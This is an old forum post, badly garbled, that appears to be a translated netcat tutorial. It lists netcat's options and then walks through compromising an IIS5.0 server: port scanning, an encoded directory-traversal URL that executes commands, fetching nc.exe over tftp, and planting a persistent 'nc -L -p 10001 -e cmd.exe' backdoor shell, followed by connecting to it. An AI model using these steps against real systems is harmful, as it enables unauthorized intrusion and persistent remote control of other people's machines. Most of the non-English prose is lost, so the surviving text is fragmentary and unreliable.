net cat

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?????? net cat

   Admin 18, 2008 8:16 pm

...


net cat .
, , .
TCP UDP .
, , , .



:


-e specifies a program to exec after
making/receiving a connection
-g gateway source-routing hop point[s], up to 8
-G num source-routing oiter: 4, 8, 12
-i secs delay interval for lines sent, ports scanned
-l listen mode for inbound connections
-n only accept numeric IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize
-s addr local source address
-t netcat will respond to telnet option negotiation
"this allows it to connect to a telnetd and
get past initial negotiation far enough to get
a login prompt from the server"
-u UDP connection mode
-v verbose mode
-w secs wait - timeout for connects
-z zero I/O mode [used for scanning]


For NT netcat, all of the above options exist, plus a few others.


-d detach - don't open a new DOS window
-L keep listening after the current session terminates


, :


- :


: nc ?v ?z 192.168.1.90 1-200
: nc ?v ?w2 ?z 192.168.1.90 1-200





192.168.1.90 .
ping ,. : ping www.dos01.com
W2 , , , .
1-200 , 1 200 .


, . .


- :


, www.netcraft.com
, : nc ?v ?n 192.168.1.90 80






21 80 , 2000 IIS5.0 . FTP


.


, , .
. .
IIS5.0 , *** .


. . 644328 19 .

. 644x328 19KB.



http://192.168.1.90/scripts/..%255c....d.exe?/c+dir+c
C , scripts


: --------s and Settings , Inetpub , Program Files , WINNT
, IIS
tftp , , tftp , .
:


. . 656243 16 .

. 656x243 16KB.



, , dir , tftp , , : TFTP [-i] host [GET | PUT] source [destination]
: tftp ?I 192.168.1.90 get nc.exe
*** +
: http:///c+TFTP+-i+192.168.1.9+GET+nc.exe


TFTPD32 ,


: http://tftpd32.jounin.net






, , (Back Door) .
, 10001 , .


, : nc -L -p 10001 -d -e cmd.exe


:
Nc : nc.exe
-L :
-p : .
-d :
-e : .
cmd.exe


*** , : http:///c+nc+-L+-p+10001+-d+-e+cmd.exe


:





, 10001 , cmd.exe


, .





, 10001 ,
nc ?v ?n 192.168.1.90 10001


scripts , ipconfig , (^_^)
.


,
TFTP , *** , .


, hack.txt , , : nc ?l ?p 1234 >hack.txt
1234 .





, ,
: nc 192.168.1.90 1234




, dir , .
, ! , hack.txt!








, ...
bazoon
...

3ggggggggggddd : 3ggggggggggddd
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